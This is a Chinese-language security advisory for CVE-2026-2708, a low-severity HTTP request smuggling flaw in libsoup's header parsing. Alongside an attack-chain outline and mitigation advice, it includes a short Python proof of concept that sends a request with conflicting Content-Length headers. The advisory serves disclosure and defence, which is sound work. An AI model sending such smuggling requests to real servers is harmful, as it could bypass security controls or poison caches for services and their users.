CVE-2026-2708 CVSS 3.7 低危

CVE-2026-2708 libsoup HTTP请求走私漏洞

披露日期: 2026-04-23

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-2708

漏洞类型

HTTP请求走私

CVSS评分

3.7 低危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

libsoup

漏洞概述

libsoup是一个用于GNOME桌面环境的HTTP客户端/服务器库。CVE-2026-2708是该库中存在的一个请求 smuggling 漏洞，主要源于HTTP/1头部解析逻辑的缺陷。具体而言，libsoup的`soup_message_headers_append_common()`函数在处理HTTP头部时，无条件地追加每个头部值，未能对重复或冲突的Content-Length字段进行验证。这使得攻击者能够发送包含多个具有不同值的Content-Length头的HTTP请求。尽管该漏洞CVSS评分较低，但在特定环境下，请求走私可能导致安全边界绕过。

技术细节

该漏洞的技术核心在于libsoup对HTTP/1协议头部解析的实现差异。在`soup-message-headers.c`文件中，`soup_message_headers_append_common()`函数设计上允许同一头部字段多次出现而不做冲突检查。针对HTTP请求中的Content-Length字段，RFC 7230标准要求其值必须唯一且一致。攻击者利用此缺陷，构造包含两个或多个Content-Length字段的恶意请求（例如Content-Length: 0和Content-Length: 100）。当此类请求经过中间代理（如Nginx）到达后端libsoup服务时，由于两者对冲突Content-Length的处理逻辑不同，可能导致请求解析不同步。这种不同步（即Desync攻击）允许攻击者将恶意请求“走私”到后端处理的下一个连接中，从而可能绕过防火墙规则或导致缓存投毒。由于利用需要特定的网络拓扑结构（AC:H），其CVSS评分为3.7，属于低危。

攻击链分析

STEP 1

侦察

攻击者识别目标系统使用libsoup作为HTTP处理后端，且位于反向代理之后。

STEP 2

构造

攻击者利用`soup_message_headers_append_common()`的缺陷，构造包含冲突Content-Length字段的HTTP请求。

STEP 3

发送

向目标服务器发送特制的恶意请求，尝试触发请求解析不一致。

STEP 4

利用

利用请求走私漏洞，将后续请求注入到后端连接中，绕过安全检查或篡改数据。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import socket

# Target configuration
host = 'target.example.com'
port = 80

# Constructing a malicious request with duplicate Content-Length headers
# This exploits the lack of validation in libsoup
payload = (
    "POST / HTTP/1.1\r\n"
    "Host: {}\r\n"
    "Content-Length: 0\r\n"
    "Content-Length: 100\r\n"
    "\r\n"
).format(host)

print("[+] Sending malicious request with duplicate Content-Length headers...")

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(payload.encode())
    response = s.recv(4096)
    print("[+] Response received:")
    print(response.decode())
    s.close()
except Exception as e:
    print(f"[-] Error: {e}")

影响范围

libsoup (具体受影响版本请参考GitLab merge request 513)

防御指南

临时缓解措施

建议立即检查所使用的libsoup库版本，并关注官方GitLab仓库的修复动态（MR 513）。在无法立即升级的情况下，可在网关层配置规则，清洗并拒绝包含重复或冲突Header字段的HTTP请求，以阻断攻击路径。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表